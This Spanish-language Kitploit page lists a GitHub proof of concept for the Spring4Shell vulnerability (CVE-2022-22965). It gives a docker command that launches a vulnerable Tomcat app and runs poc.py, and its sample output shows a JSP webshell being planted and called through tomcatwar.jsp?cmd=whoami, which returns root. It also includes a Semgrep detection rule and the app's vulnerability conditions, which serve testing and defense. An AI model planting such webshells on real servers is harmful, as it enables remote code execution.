Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
springshell-rce-poc — CVE-2022-22965 - CVE-2010-1622 redux | Kitploit
Herramientas/GitHubGitHub/dduarte/springshell-rce-poc
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubdduarte/springshell-rce-poc

springshell-rce-poc

CVE-2022-22965 - CVE-2010-1622 redux

Ver Repositorio
1912hace 3 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2022-22965 - aplicación vulnerable y PoC

Prueba y error

root@kitploit:~
$ docker rm -f rce; docker build -t rce:latest . && docker run -d -p 8080:8080 --name rce rce:latest && sleep 5 && python poc.py

Ejemplo de salida

root@kitploit:~
rce
sha256:f626a2190dc0790c610afd4f12a4b2482b6a726d671fdac1432275de89c07cd6
1a048e5725f754d331de9491d0750c4c7a163472dea1fd1554edccfd00d7f6e5
deploy <Response [200]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [500]>
webshell http://localhost:8080/tomcatwar.jsp?cmd=whoami
root

Identificación con Semgrep

root@kitploit:~
$ semgrep --config=semgrep-rule.yml .

Regla de Semgrep y casos de prueba

Ejemplo de salida

root@kitploit:~
Findings:

  src/main/java/com/example/demo/controller/IndexController.java
     cve-2022-22965
        Semgrep found a match


         14┆ @RequestMapping("/index")
         15┆ public void index(EvalBean evalBean) {
         16┆
         17┆ }

Ran 1 rule on 3 files: 1 finding.

Requisitos de la aplicación vulnerable1

  • JDK 9 o superior
  • Tomcat independiente (no Tomcat embebido) con despliegue WAR
  • Cualquier versión de Spring anterior a 5.3.18 / 5.2.20 (Spring Boot anterior a 2.5.12 / 2.6.6)
  • Sin lista negra en WebDataBinder / InitBinder
  • Enlace de parámetros con POJOs directamente (sin @RequestBody, @RequestQuery, etc.)
  • Sistema de archivos escribible (p. ej. webapps/ROOT)

Fuentes

  • https://twitter.com/vxunderground/status/1509170582469943303 / https://github.com/craig/SpringCore0day
  • https://github.com/fengguangbin/spring-rce-war

Footnotes

  1. Asumiendo exploits similares a los PoCs conocidos. Puede haber otros gadgets... ↩

Descargar herramienta